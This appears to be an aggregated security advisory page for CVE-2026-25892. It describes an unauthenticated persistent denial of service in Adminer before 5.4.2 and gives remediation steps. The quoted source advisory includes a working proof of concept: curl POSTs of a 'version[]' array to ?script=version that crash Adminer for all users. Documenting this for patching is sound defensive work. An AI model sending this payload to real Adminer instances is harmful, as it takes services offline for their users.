CVE-2026-25892: Vrana/adminer Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-q4f2-39gr-45jh
CVSS 7.5
CWE-20
Published
Advisory Summary

CVE-2026-25892 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-20: Improper Input Validation) affecting Vrana/adminer libraries in the Packagist ecosystem. The issue involves adminer has an unauthenticated persistent dos via array injection in ?script=version endpoint. Remediation is available by upgrading affected packages to version 5.4.2.

CVE-2026-25892 at a Glance

CVE Identifier CVE-2026-25892
GHSA Identifier GHSA-q4f2-39gr-45jh
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-20: Improper Input Validation
Affected Product Vrana/adminer
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-25892

To remediate this vulnerability, upgrade all affected Vrana/adminer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vrana/adminer fixed: 5.4.2
Upgrade vrana/adminer to 5.4.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for vrana/adminer

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-25892, inspect your project dependencies for Vrana/adminer:

inspect dependencies for vrana/adminer

Analyze the terminal output to locate any version of Vrana/adminer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.4.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Vrana/adminer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Adminer v5.4.1 has a version check mechanism where `adminer.org` sends signed version info via JavaScript postMessage, which the browser then POSTs to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, `openssl_verify()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users. ### Fix Upgrade to Adminer 5.4.2. **Mitigation** (if you can't upgrade): Make file `adminer.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server. ### Details **1. Intended design of `?script=version`:** The endpoint is designed to receive version data from `adminer.org` via browser JavaScript: - `functions.js` line 102-117: Creates iframe to `https://www.adminer.org/version/` - Adminer.org sends signed version data via `postMessage` - JavaScript POSTs this to `?script=version` - Server stores in `/tmp/adminer.version` for signature verification ```javascript // functions.js line 117 ajax(url + 'script=version', () => { }, event.data + '&token=' + token); ``` **2. The vulnerability:** The endpoint only checks `$_GET["script"] == "version"` - it does not validate: - Request origin (no CSRF token check for this endpoint) - Request source (any HTTP client can POST) - Parameter types (`version` expected as string, array not rejected) ```php // bootstrap.inc.php line 32-40 if ($_GET["script"] == "version") { $filename = get_temp_dir() . "/adminer.version"; @unlink($filename); $fp = file_open_lock($filename); if ($fp) { file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"]))); } exit; } ``` **3. Type confusion crash:** When POST contains `version[]` instead of `version`, PHP creates an array. When Adminer reads this file and passes to `openssl_verify()`: ```php // design.inc.php line 75 if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) { ``` PHP 8.x throws: ``` TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given ``` ### PoC **Steps to Reproduce:** **Step 1:** Verify Adminer is running and accessible. ```bash curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php ``` Expected output: ``` 200 ``` **Step 2:** Send the malicious POST request. The `version[]` syntax causes PHP to create an array instead of a string. ```bash curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \ -d "signature=x&version[]=INJECTED" ``` Expected output: Empty response (no error). **Step 3:** Access Adminer again to trigger the crash. ```bash curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php ``` Expected output: ``` 500 ``` **Step 4:** (Optional) View the PHP error in server logs. ``` PHP Fatal error: Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386 ``` **Step 5:** (Optional) Inspect the poisoned file. ```bash cat /tmp/adminer.version ``` Expected output: ``` a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}} ``` **Recovery:** ```bash rm /tmp/adminer.version ``` After deletion, Adminer returns HTTP 200. --- ### Impact **Type:** Denial of Service **Root cause:** The `?script=version` endpoint is designed to receive data from `adminer.org` via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before `openssl_verify()`, this allows persistent DoS. **Affected users:** Any Adminer instance accessible over the network.

CVE-2026-25892 Affected Vrana/adminer Versions

1 component(s)
Fixed Versions:
5.4.2
Product / Package Ecosystem Affected Versions Fixed Version
vrana/adminer
Packagist
≥ 4.6.2
< 5.4.2
5.4.2

References

Frequently Asked Questions

What is CVE-2026-25892?
CVE-2026-25892 is a security vulnerability in Vrana/adminer involving Adminer has an Unauthenticated Persistent DoS via Array Injection in ?script=version Endpoint under CWE-20: Improper Input Validation.
Which Vrana/adminer versions are affected?
Affected versions include releases prior to 5.4.2 across affected packages: vrana/adminer.
What version fixes CVE-2026-25892?
Upgrading to 5.4.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vrana/adminer affected?
Yes, vrana/adminer is affected in releases prior to 5.4.2. Upgrade your dependency to 5.4.2 or later.
What is the CVSS score of CVE-2026-25892?
CVE-2026-25892 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-25892?
CVE-2026-25892 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check Packagist dependencies for CVE-2026-25892?
Run the dependency tree command: 'inspect dependencies for vrana/adminer'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q4f2-39gr-45jh",
  "modified" : "2026-02-10T02:56:04Z",
  "published" : "2026-02-10T00:25:24Z",
  "aliases" : [ "CVE-2026-25892" ],
  "summary" : "Adminer has an Unauthenticated Persistent DoS via Array Injection in ?script=version Endpoint",
  "details" : "### Summary\nAdminer v5.4.1 has a version check mechanism where `adminer.org` sends signed version info via JavaScript postMessage, which the browser then POSTs to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, `openssl_verify()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users.\n\n### Fix\n\nUpgrade to Adminer 5.4.2.\n\n**Mitigation** (if you can't upgrade): Make file `adminer.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server.\n\n### Details\n\n**1. Intended design of `?script=version`:**\n\nThe endpoint is designed to receive version data from `adminer.org` via browser JavaScript:\n- `functions.js` line 102-117: Creates iframe to `https://www.adminer.org/version/`\n- Adminer.org sends signed version data via `postMessage`\n- JavaScript POSTs this to `?script=version`\n- Server stores in `/tmp/adminer.version` for signature verification\n\n```javascript\n// functions.js line 117\najax(url + 'script=version', () => { }, event.data + '&token=' + token);\n```\n\n**2. The vulnerability:**\n\nThe endpoint only checks `$_GET[\"script\"] == \"version\"` - it does not validate:\n- Request origin (no CSRF token check for this endpoint)\n- Request source (any HTTP client can POST)\n- Parameter types (`version` expected as string, array not rejected)\n\n```php\n// bootstrap.inc.php line 32-40\nif ($_GET[\"script\"] == \"version\") {\n    $filename = get_temp_dir() . \"/adminer.version\";\n    @unlink($filename);\n    $fp = file_open_lock($filename);\n    if ($fp) {\n        file_write_unlock($fp, serialize(array(\"signature\" => $_POST[\"signature\"], \"version\" => $_POST[\"version\"])));\n    }\n    exit;\n}\n```\n\n**3. Type confusion crash:**\n\nWhen POST contains `version[]` instead of `version`, PHP creates an array. When Adminer reads this file and passes to `openssl_verify()`:\n\n```php\n// design.inc.php line 75\nif (openssl_verify($version[\"version\"], base64_decode($version[\"signature\"]), $public) == 1) {\n```\n\nPHP 8.x throws:\n```\nTypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given\n```\n\n### PoC\n\n**Steps to Reproduce:**\n\n**Step 1:** Verify Adminer is running and accessible.\n```bash\ncurl -s -o /dev/null -w \"%{http_code}\\n\" http://localhost:8888/adminer-5.4.1.php\n```\nExpected output:\n```\n200\n```\n\n**Step 2:** Send the malicious POST request. The `version[]` syntax causes PHP to create an array instead of a string.\n```bash\ncurl -X POST \"http://localhost:8888/adminer-5.4.1.php?script=version\" \\\n     -d \"signature=x&version[]=INJECTED\"\n```\nExpected output: Empty response (no error).\n\n**Step 3:** Access Adminer again to trigger the crash.\n```bash\ncurl -s -o /dev/null -w \"%{http_code}\\n\" http://localhost:8888/adminer-5.4.1.php\n```\nExpected output:\n```\n500\n```\n\n**Step 4:** (Optional) View the PHP error in server logs.\n```\nPHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386\n```\n\n**Step 5:** (Optional) Inspect the poisoned file.\n```bash\ncat /tmp/adminer.version\n```\nExpected output:\n```\na:2:{s:9:\"signature\";s:1:\"x\";s:7:\"version\";a:1:{i:0;s:8:\"INJECTED\";}}\n```\n\n**Recovery:**\n```bash\nrm /tmp/adminer.version\n```\nAfter deletion, Adminer returns HTTP 200.\n\n---\n\n### Impact\n\n**Type:** Denial of Service\n\n**Root cause:** The `?script=version` endpoint is designed to receive data from `adminer.org` via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before `openssl_verify()`, this allows persistent DoS.\n\n**Affected users:** Any Adminer instance accessible over the network.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "vrana/adminer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.6.2"
      }, {
        "fixed" : "5.4.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25892"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vrana/adminer/commit/21d3a3150388677b18647d68aec93b7850e457d3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/vrana/adminer"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vrana/adminer/releases/tag/v5.4.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-10T00:25:24Z",
    "nvd_published_at" : "2026-02-09T22:16:04Z"
  }
}